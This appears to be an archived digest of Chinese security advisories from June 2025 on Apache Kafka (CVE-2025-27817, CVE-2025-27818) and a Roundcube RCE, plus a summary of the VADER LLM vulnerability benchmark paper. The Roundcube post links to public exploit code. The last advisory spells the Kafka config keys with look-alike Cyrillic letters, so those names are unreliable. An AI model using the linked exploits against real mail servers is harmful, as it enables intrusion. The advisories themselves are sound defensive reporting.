170);"><strong><span leaf="">漏洞所需权限</span></strong></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">无权限要求</span></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">漏洞利用难度</span></strong></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">低</span></span></p></td></tr><tr sLine truncated
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
目前，赛博昆仑CERT已成功复现
|
||||
Kafka Connect任意文件读取漏洞，复现版本3.9.0
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**防护措施**
|
||||
- **修复建议**
|
||||
|
||||
目前，官方已发布安全补丁，建议受影响的用户尽快安装最新版本补丁。
|
||||
|
||||
下载地址：
|
||||
|
||||
https://github.com/apache/kafka/releases/tag/3.9.1
|
||||
|
||||
- **技术业务咨询**
|
||||
|
||||
|
||||
|
||||
赛博昆仑支持对用户提供轻量级的检测规则或热补方式，可提供定制化服务适配多种产品及规则，帮助用户进行漏洞检测和修复。
|
||||
|
||||
赛博昆仑CERT已开启年订阅服务，付费客户(可申请试用)将获取更多技术详情，并支持适配客户的需求。
|
||||
|
||||
联系邮箱：
|
||||
cert@cyberkl.com
|
||||
|
||||
公众号：赛博昆仑CERT
|
||||
|
||||
|
||||
****
|
||||
**时间线**
|
||||
|
||||
2025年6月9日，官方发布补丁
|
||||
|
||||
2025年6月10日，赛博昆仑CERT发布漏洞风险通告
|
||||
|
||||
|
||||
**技术业务咨询**
|
||||
|
||||
邮箱：cert@cyberkl.com
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
# 【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113)
|
||||
弥天安全实验室 弥天安全实验室 2025-06-10 11:10
|
||||
|
||||
#
|
||||
|
||||
网安引领时代，弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x00写在前面**
|
||||
|
||||
**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！**
|
||||
|
||||
|
||||
|
||||
|
||||
**0x01漏洞介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
Roundcube Webmail是一款流行的开源Web邮件客户端，旨在提供用户友好的界面和强大的功能，使用户能够通过浏览器轻松访问和管理他们的电子邮件。Roundcube具有现代化的设计和响应式布局，支持多种语言和插件扩展，为用户提供了个性化和灵活的邮件体验。
|
||||
|
||||
Roundcube Webmail 1.5.10之前版本和 1.6.11之前版本存在安全漏洞，该漏洞源于未验证_from参数，可能导致PHP对象反序列化攻击。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x02影响版本**
|
||||
|
||||
**Roundcube Webmail <1.5.10**
|
||||
|
||||
Roundcube Webmail <1.6.11
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x03漏洞复现**
|
||||
|
||||
|
||||
1.访问漏洞环境
|
||||
|
||||
|
||||
|
||||
2.对漏洞进行复现
|
||||
|
||||
|
||||
**POC**
|
||||
|
||||
漏洞复现
|
||||
|
||||
执行id命令，通过相应判断漏洞存在
|
||||
|
||||
|
||||
```
|
||||
https://github.com/fearsoff-org/CVE-2025-49113
|
||||
```
|
||||
|
||||
|
||||
3.Yakit插件
|
||||
测试
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x04修复建议**
|
||||
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
|
||||
|
||||
建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！
|
||||
```
|
||||
https://github.com/roundcube/roundcubemail/releases
|
||||
https://github.com/hakaioffsec/CVE-2025-49113-exploit/blob/main/images/image.png
|
||||
https://fearsoff.org/research/roundcubehttps://www.onekey.com/resource/security-advisory-remote-command-execution-on-smartbedded-meteobridge-cve-2025-4008
|
||||
```
|
||||
|
||||
|
||||
|
||||
弥天简介
|
||||
|
||||
学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
|
||||
|
||||
口号 网安引领时代，弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
知识分享完了
|
||||
|
||||
喜欢别忘了关注我们哦~
|
||||
|
||||
学海浩茫，
|
||||
|
||||
予以风动，
|
||||
|
||||
必降弥天之润！
|
||||
|
||||
|
||||
弥 天
|
||||
|
||||
安全实验室
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# 【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818)
|
||||
启明星辰安全简讯 2025-06-10 10:17
|
||||
|
||||
### 一、漏洞概述
|
||||
<table><tbody style="visibility: visible;"><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-width: 2.25pt 1.5pt 1.5pt 2.25pt; border-color: windowtext; border-style: solid; background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞名称<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top: 2.25pt solid windowtext; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">Apache Kafka Connect LDAP远程代码执行漏洞</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">CVE ID<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top:none;border-left:none;border-bottom: 1.5pt solid windowtext;border-right:2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">CVE-2025-27818</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞类型<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">RCE<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">发现时间<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4Line truncated
|
||||
Apache Kafka是一个开源的分布式流处理平台，主要用于高吞吐、可扩展的消息发布与订阅。它支持实时数据传输，可广泛应用于日志收集、事件监控、流式计算等场景。Kafka 通过Producer、Broker和Consumer构建消息管道，具备持久化、高可用和容错能力，广泛用于大数据和微服务架构中。
|
||||
|
||||
2025年6月10日，启明星辰集团VSRC监测到Apache发布的安全公告，披露Apache Kafka存在一个远程代码执行（RCE）漏洞（CVE-2025-27818）。攻击者可通过Kafka Connect配置中的sasl.jaas.config参数，将Kafka客户端指向恶意LDAP服务器，诱导服务器反序列化不可信数据，从而实现任意代码执行。该漏洞影响使用SASL JAAS配置的Kafka Connect集群，特别是在未对登录模块进行限制配置的环境中。自Kafka 3.9.1/4.0.0起，官方已默认禁用相关高风险登录模块，并提供系统属性用于细化控制。建议用户及时升级受影响版本，强化配置审计，降低风险。
|
||||
### 二、影响范围
|
||||
|
||||
2.3.0 ≤ Apache Kafka ≤ 3.9.0
|
||||
### 三、安全措施
|
||||
|
||||
3.1 升级版本
|
||||
|
||||
Apache Kafka 3.9.1 / 4.0.0 及以上版本（默认禁用高风险 LoginModule，提供登录模块白名单机制）。
|
||||
|
||||
下载链接：
|
||||
|
||||
https://kafka.apache.org/downloads/
|
||||
|
||||
3.2 临时措施
|
||||
|
||||
暂无。
|
||||
|
||||
3.3 通用建议
|
||||
|
||||
定期更新系统补丁，减少系统漏洞，提升服务器的安全性。
|
||||
|
||||
加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
|
||||
|
||||
使用企业级安全产品，提升企业的网络安全性能。
|
||||
|
||||
加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。
|
||||
|
||||
启用强密码策略并设置为定期修改。
|
||||
|
||||
3.4 参考链接
|
||||
|
||||
https://lists.apache.org/thread/hv3917z1o07lhbdy3x36y4cnhyd1nfyp
|
||||
@@ -0,0 +1,89 @@
|
||||
# 【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞（CVE-2025-27817）
|
||||
原创 NS-CERT 绿盟科技CERT 2025-06-10 09:40
|
||||
|
||||
**通告编号:NS-2025-0032**
|
||||
|
||||
2025-06-10
|
||||
|
||||
<table><tbody><tr style="margin: 0px;padding: 0px;"><td data-colwidth="107" valign="top" style="margin: 5px 10px;border: 1px solid #d8d8d8;word-break: break-all;padding:5px 10px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 14px;"><span leaf="">TA</span></span></strong><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 14px;"><span leaf="">G：</span></span></strong></td><td valign="top" style="margin: 5px 10px;border: 1px solid #d8d8d8;word-break: break-all;padding:5px 10px;"><p style="vertical-align: initial;line-height: 1.75em;font-size: 14px;color: #000000;padding-top: 0px;padding-bottom: 0px;font-family:微软雅黑;"><strong style="font-size: 17px;caret-color: red;font-family:微软雅黑, sans-serif;"><span style="font-size: 14px;caret-color: red;font-family:微软雅黑, "Microsoft YaHei";"><span leaf="">Apache Kafka、任意文件读取、CVE-2025-27817</span></span></strong></p></td></tr><tr style="margin: 0px;padding: 0px;"><td data-colwidth="107" valign="top" style="margin: 5px 10px;border: 1px solid #d8d8d8;word-break: break-all;padding:5px 10px;"><span style="margin: 0px;padding: 0px;color: #000000;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 14px;"><span leaf="">漏洞危害：</span></span></strong></span><span style="margin: 0px;padding: 0px;color: #ff0000;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 14px;"></span></strong></span></td><td valign="top" style="margin: 5px 10px;border: 1px solid #d8d8d8;word-break: break-all;padding:5px 10px;"><p style="vertical-align: initial;"><span style="font-family:微软雅黑, "Microsoft YaHei";"><strong style="caret-color: red;"><span style="font-size: 14px;font-family:微软雅黑, "Microsoft YaHei";"><span leaf="">攻击者利用此漏洞，可实现任意文件读取。</span></span></strong></span></p></td></tr><tr style="margin: 0px;padding: 0px;"><td data-colwidth="107" valign="top" style="margin: 5px 10px;border: 1px solid #d8d8d8;word-break: break-all;padding:5px 10px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 14px;"><span leaf="">版本：</span></span></strong></td><td valign="top" style="margin: 5px 10px;border: 1px solid #d8d8d8;word-break: break-all;padding:5px 10px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 14px;"><span leaf="">1.0</span><span leaf=""><br/></span></span></strong></td></tr></tbody></table>
|
||||
|
||||
**1**
|
||||
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
近日，绿盟科技CERT监测到Apache发布安全公告，修复了Apache Kafka中的任意文件读取与SSRF漏洞（CVE-2025-27817）；由于Apache Kafka客户端未对用户输入进行严格验证和限制，未经身份验证的攻击者可通过构造恶意配置读取环境变量或磁盘任意内容，或向非预期位置发送请求，提升REST API的文件系统/环境/URL访问权限。目前已有细节披露，请相关用户尽快采取措施进行防护。
|
||||
|
||||
Kafka是由Apache软件基金会开发的一个开源分布式事件流处理平台，由Scala和Java编写。该项目的目标是为处理实时数据提供一个统一、高吞吐、低延迟的平台。
|
||||
|
||||
|
||||
参考链接：
|
||||
|
||||
https://www.mail-archive.com/announce@apache.org/msg10119.html
|
||||
|
||||
|
||||
**SEE MORE →******
|
||||
|
||||
**2****影响范围**
|
||||
|
||||
**受影响版本**
|
||||
|
||||
- 3.1.0 <= Apache Kafka <= 3.9.0
|
||||
|
||||
|
||||
|
||||
|
||||
**不受影响版本**
|
||||
|
||||
- Apache Kafka >= 3.9.1
|
||||
|
||||
|
||||
|
||||
|
||||
**3****漏洞防护**
|
||||
|
||||
**3.1 官方****升级**
|
||||
|
||||
目前官方已发布新版本修复此漏洞，建议受影响的用户及时升级防护，下载链接：
|
||||
|
||||
https://github.com/apache/kafka/tags
|
||||
|
||||
|
||||
**3.2 临时防护错误**
|
||||
|
||||
1、相关用户可使用安全防护设备对包含敏感文件路径的/connectors请求进行拦截；
|
||||
|
||||
2、在不影响业务的情况下，可对Kafka Connect实例进行访问限制。
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**声明**
|
||||
|
||||
本安全公告仅用来描述可能存在的安全问题，绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，绿盟科技以及安全公告作者不为此承担任何责任。
|
||||
|
||||
绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告，必须保证此安全公告的完整性，包括版权声明等全部内容。未经绿盟科技允许，不得任意修改或者增减此安全公告内容，不得以任何方式将其用于商业目的。
|
||||
|
||||
|
||||
|
||||
|
||||
**绿盟科技CERT**
|
||||
|
||||
∣
|
||||
微信公众号
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
长按识别二维码，关注网络安全威胁信息
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
# 【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告
|
||||
原创 masterC 企业安全实践 2025-06-10 07:13
|
||||
|
||||
## 一、漏洞描述
|
||||
|
||||
Kafka是由Apache软件基金会开发的一个开源流处理平台，由Scala和Java编写。Apache Kafka Connect是Apache Kafka生态系统中的一个组件，它提供了一种可靠且可扩展的方式来连接Kafka与其他系统。
|
||||
|
||||
近日，互联网上披露了关于Apache Kafka中存在一个任意文件读取漏洞。在受影响版本中，攻击者可利用该漏洞读取服务器上的敏感文件（如配置文件、环境变量等），或者发起SSRF攻击，访问内部网络或其他受限资源，从而获取敏感信息或进一步扩大攻击范围。另外，若Apache Druid使用了受影响的Kafka版本，也受该漏洞影响。该漏洞对应的CVE编号为CVE-2025-27817，该漏洞影响较高，请受影响的用户做好安全加固措施。
|
||||
## 二、漏洞等级
|
||||
|
||||
高
|
||||
## 三、影响范围
|
||||
|
||||
3.1.0 <= Apache Kafka ＜= 3.9.0
|
||||
## 四、安全版本
|
||||
|
||||
Apache Kafka >= 3.9.1
|
||||
## 五、修复建议
|
||||
|
||||
目前官方已修复该漏洞，建议受影响用户尽快前往官网升级至安全版本。
|
||||
## 六、缓解方案
|
||||
|
||||
对于使用受影响版本的用户，建议通过系统属性-Dorg.apache.kafka.disallowed.login.modules禁用LdapLoginModule，JndiLoginModule 和其他危险的登录模块。
|
||||
## 七、参考链接
|
||||
|
||||
https://github.com/apache/kafka/tags
|
||||
|
||||
https://seclists.org/oss-sec/2025/q2/235
|
||||
|
||||
https://lists.apache.org/thread/6cm2d0q5126lp7w591wt19211s5xxcsm
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
# 【论文速读】| VADER：漏洞评估、检测、解释和修复的人工评估基准
|
||||
原创 知识分享者 安全极客 2025-06-10 10:08
|
||||
|
||||
|
||||
|
||||
**基本信息**
|
||||
|
||||
|
||||
原文标题：
|
||||
|
||||
VADER:AHuman-EvaluatedBenchmarkforVulnerabilityAssessment,Detection,Explanation,andRemediation
|
||||
|
||||
原文作者：
|
||||
|
||||
EthanTS.Liu,AustinWang,SpencerMateega,CarlosGeorgescu,DannyTang
|
||||
|
||||
作者单位：AfterQuery（研究人员分别来自UCBerkeley、宾夕法尼亚大学等）
|
||||
|
||||
关键词：大语言模型、漏洞检测、漏洞修复、VADER基准、安全评估、人工审核、安全补丁、CWE分类
|
||||
|
||||
原文链接：https://arxiv.org/abs/2505.19395v1
|
||||
|
||||
开源代码：https://github.com/AfterQuery/vader
|
||||
|
||||
|
||||
**论文要点**
|
||||
|
||||
|
||||
论文简介：本文提出了一个名为VADER的全新基准体系，用于系统评估大语言模型（LLMs）在软件安全领域的表现，尤其聚焦在漏洞评估、检测、解释与修复四个关键环节。该基准共包含174个真实漏洞案例，涵盖15种编程语言，来源于GitHub等开源代码库，并由资深安全专家进行人工标注和复审。论文评测了六个主流LLM模型（如GPT-4.5、Claude3.7、Gemini2.5等）在这一基准下的表现，结果显示当前模型仅能中等程度地完成任务，最优秀模型的平均准确率也仅为54.7%。论文还发现，模型在漏洞修复质量与漏洞分类、测试计划制定之间存在高度相关性（Pearsonr>0.97），这说明模型在理解能力方面仍有较大提升空间。VADER的构建为研究界提供了一个可复现、可解释的标准平台，用于推动更具安全意识的大语言模型研究。
|
||||
|
||||
研究目的：
|
||||
|
||||
近年来，大语言模型在代码生成和辅助编程中显示出强大能力，被业界广泛应用于代码自动化处理。然而，当前的模型在处理跨语言、多文件、复杂上下文的真实漏洞场景下，依然面临巨大挑战。过去的漏洞检测数据集大多基于合成代码片段或单函数分析，未能涵盖完整的安全生命周期。本文旨在填补这一空白，提出一个具备真实漏洞案例、详细标注信息、人工审核机制与可复现评分系统的VADER基准，系统衡量LLM在完整软件安全处理流程中的表现，包括识别漏洞、解释其成因、提出补丁及测试验证其修复效果。通过这一基准，研究人员能更准确判断现有模型的实际能力与瓶颈所在，推动安全感知型大语言模型的进一步发展。
|
||||
|
||||
|
||||
**引言**
|
||||
|
||||
|
||||
近年来，大语言模型（LLMs）在自动代码生成和辅助软件开发中取得显著进展，然而其在安全领域的能力仍未充分验证。GitHubCopilot等工具已开始集成AI进行漏洞修复建议，OpenAI等也发布了面向安全分析的集成连接器。然而，漏洞检测与修复不仅需要识别问题代码，更需要准确分类漏洞类型、理解成因、提出合理补丁并构造测试计划以验证修复有效性。现有评估手段大多仅关注漏洞检测准确率，忽视了解释与修复质量的全流程能力评估。此外，绝大多数基准仅覆盖单语言、单文件的合成样本，远离真实生产环境中的复杂性。
|
||||
|
||||
本文提出的VADER基准填补了上述空白。其数据来源全部为真实开源项目中的安全漏洞，涵盖Web前端、后端服务、系统编程等多类场景；每个案例均由安全专家编写完整说明、修复方案及验证测试；并通过双层审核机制确保数据质量。论文不仅提出了新颖的评分标准，还首次对主流LLM进行全面评估，发现当前模型在“解释+修复”能力上远未达到实际应用所需水平。此外，研究还指出漏洞分类能力与修复效果之间存在极强正相关性，提示未来模型应加强对漏洞本质的理解。
|
||||
|
||||
|
||||
**相关工作**
|
||||
|
||||
|
||||
过往数据集如JULIET、DEVIGN、BIG-VUL等虽为漏洞检测提供了基础训练样本，但其大多基于静态、合成示例，缺乏复杂语境与多文件结构。诸如SECURITYEVAL、REPOSVUL等后续工作虽拓展了真实代码范围，但仍以“是否存在漏洞”这一单一目标为主，未涉及解释、补丁生成或验证测试。此外，像CVE-BENCH、NYUCTF等则转向交互式环境评估模型的攻击或修复能力，但也未覆盖“解释为何存在漏洞”等关键安全能力。
|
||||
|
||||
相比之下，VADER首次将评估范围扩展至完整安全处理链条，要求模型不仅识别漏洞，还需合理解释成因、撰写补丁、设计测试计划。这一设计显著提升了模型对安全问题的深度理解要求。
|
||||
|
||||
|
||||
**基准构建**
|
||||
|
||||
|
||||
VADER基准的构建过程极为严谨，模拟真实的安全审查流程，确保数据的准确性和高质量。整个数据集由174个真实软件漏洞案例组成，均从开源项目中精心挑选，涵盖了如Python、JavaScript、Go、C/C++等15种主流编程语言。VADER的数据生成采用“双重人工标注机制”：首先由一名资深安全专家提交漏洞案例，随后由另一名独立审查员进行验证。
|
||||
|
||||
|
||||
|
||||
在案例提交阶段，专家需提供一份完整的漏洞报告，包括但不限于：具体的漏洞代码片段、详细的漏洞解释（含根本原因、利用方式与影响）、对应的CWE编号、建议修复补丁（goldenpatch）以及可验证修复有效性的测试计划。每个补丁要求尽可能简洁明了，只改动与漏洞直接相关的代码，避免冗余或破坏原有逻辑。
|
||||
|
||||
审查阶段由拥有6年以上经验的安全工程师复核案例质量。他们从漏洞真实性、补丁有效性、解释完整性及测试计划的合理性等多个维度进行严格审核，只有全部符合标准的案例才会被纳入正式基准。
|
||||
|
||||
|
||||
|
||||
这种双审流程不仅确保了每个漏洞样本的真实性与高质量，还保证了其在实际安全分析中具有充分的参考价值。此外，VADER还根据漏洞的严重程度进行打分，采用五级标准（非常低至致命），其中高危和致命级别漏洞占比超过60%，极大增强了基准对大语言模型安全处理能力的挑战性。通过该构建流程，VADER成为业界少有的，能系统覆盖“检测、解释、修复、验证”全流程的高可信度安全基准。
|
||||
|
||||
|
||||
**研究评估**
|
||||
|
||||
|
||||
为全面评估大语言模型在处理真实软件漏洞中的实际能力，VADER设计了一套严谨统一的评估体系。论文选择了当前业界最具代表性的六大主流LLM模型作为评测对象，分别为：OpenAI的o3、GPT-4.1与GPT-4.5，Google的Gemini2.5Pro，Anthropic的Claude3.7Sonnet，以及xAI的Grok3Beta。这些模型覆盖了不同厂商、不同架构与上下文处理能力，具备代表性和广泛性。
|
||||
|
||||
|
||||
|
||||
评估采用“一轮提示”（one-shotprompting）策略，每个模型在每个漏洞案例中只收到一次统一格式的输入，包括漏洞相关的代码文件和任务描述，要求其完成漏洞识别、CWE分类、原因解释、补丁编写及测试计划制定五项任务。为了确保测试公平性，所有模型接收到的提示完全一致，且不进行任何模型专属微调。
|
||||
|
||||
模型输出由具备丰富经验的安全专家使用结构化评分标准进行双人盲评。评分体系共分三大维度：漏洞修复质量（占总分的50%）、漏洞解释准确性（20%）、以及CWE分类与测试方案（30%）。每个维度根据准确性、完整性、技术合理性进行细分评分，满分为10分。
|
||||
|
||||
此外，为避免评分偏差，每个模型的输出结果都由两位评审独立打分，并计算平均得分。值得注意的是，在漏洞修复这一核心环节中，专家更看重的是补丁的简洁性、可编译性、是否真正消除漏洞以及是否引入新风险；而在解释维度中，模型需精准描述漏洞的根本成因、可被攻击的方式及其安全影响。
|
||||
|
||||
通过这一严谨的评估流程，VADER不仅能量化对模型“写代码”的能力，还能深入洞察其是否真正理解漏洞原理、是否能提出合理修复方案、是否具备将安全问题“闭环解决”的综合能力。相比传统只考察分类或检测准确率的数据集，VADER评估体系更加全面、真实，能更贴近实际应用中对安全助手的期待。
|
||||
|
||||
|
||||
**研究结果**
|
||||
|
||||
|
||||
VADER基准的评测结果显示，当前主流大语言模型在真实漏洞处理任务中的整体表现仍属中等水平，远未达到“可生产部署”的理想状态。在全部174个真实漏洞案例中，得分最高的模型是OpenAI的o3，平均得分为5.47分（满分10分），约合54.7%的准确率。紧随其后的是Google的Gemini2.5Pro（53.6%）和OpenAI的GPT-4.5（49.2%），而Anthropic的Claude3.7、GPT-4.1以及xAI的Grok3Beta则处于中等偏下水平，最低者Grok仅为44%左右。
|
||||
|
||||
|
||||
|
||||
研究还揭示了一个关键趋势：模型在漏洞修复、解释、分类与测试等各项能力之间存在显著相关性。其中，漏洞修复质量与CWE分类及测试计划能力之间的皮尔逊相关系数高达0.97以上。这表明，模型若能准确识别漏洞类型与影响，通常也能更好地完成修复任务。
|
||||
|
||||
整体而言，VADER测试强调了模型“理解-解释-修复-验证”全链条能力，而目前的模型在处理复杂、跨文件、真实漏洞时，仍面临严峻挑战，亟待突破。
|
||||
|
||||
|
||||
**论文结论**
|
||||
|
||||
|
||||
本文提出的VADER基准为衡量大语言模型在漏洞评估、检测、解释和修复四大能力上的表现提供了统一标准。通过人工标注、全流程设计与开放工具链，该基准不仅真实、可复现，还具高度挑战性。测试结果显示，目前主流模型在该任务上均仅达中等水准，仍无法满足生产级别应用的安全要求。未来工作可在模型理解力、跨文件推理能力与测试生成方面进一步优化，以提升其在真实漏洞修复中的实用性。VADER的开放发布也为学术与工业界提供了一个长期演进的评测平台，推动“安全感知型AI”走向落地。
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247495405&idx=1&sn=67249648d5c312b5c178b23b077d28f3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493750&idx=1&sn=27bd578179e5abbdc8907b669519bb8f&chksm=c2b95d82f5ced4945cf8844013563398cb3a885ea96a2ee2b60bfcc26d77ebffe78a35285646&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493759&idx=1&sn=0aed37ae210bde25a6b16a745301b71d&chksm=c2b95d8bf5ced49d12eb8cc6192c4e091bf11b6ffe99d4025467ea98b9d04cad89ba0ea91710&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493770&idx=1&sn=2c6d24403cda8f0ef45cadb10e1bfebd&chksm=c2b95d7ef5ced4686e39951e21153c81f0a1e57cabf0937e0d996e6621385745d3ee30d98c11&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# 【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817
|
||||
cexlife 飓风网络安全 2025-06-10 07:52
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
该漏洞产生的原因是Aрасhе Kаfkа客户端在处理SASL/OAUTHBEARER连接配置时,允许通过配置项ѕаѕl.оаuthbеаrеr.tоkеn.еndроint.url和 ѕаѕl.оаuthbеаrеr.јԝkѕ.еndроint.url指定外部URL或本地文件路径,造成任意文件读取与SSRF漏洞,受影响版本为3.1.0至3.9.0,由于未对这些配置项进行严格限制,攻击者可以利用该漏洞读取服务器上的任意文件内容,并将其返回到错误日志中,或者向非预期的地址发送请求。
|
||||
|
||||
利用场景
|
||||
|
||||
Apache Kafka Connect属于底层组件依赖,其前提利用条件需要视具体应用环境。
|
||||
|
||||
影响产品:
|
||||
|
||||
3.1.0<= Apache Kafka <=3.9.0
|
||||
|
||||
修复建议:
|
||||
|
||||
补丁名称:
|
||||
|
||||
Aрасhе Kаfkа客户端任意文件读取和SSRF漏洞的补丁-更新至最新版本4.0.0
|
||||
|
||||
文件链接:
|
||||
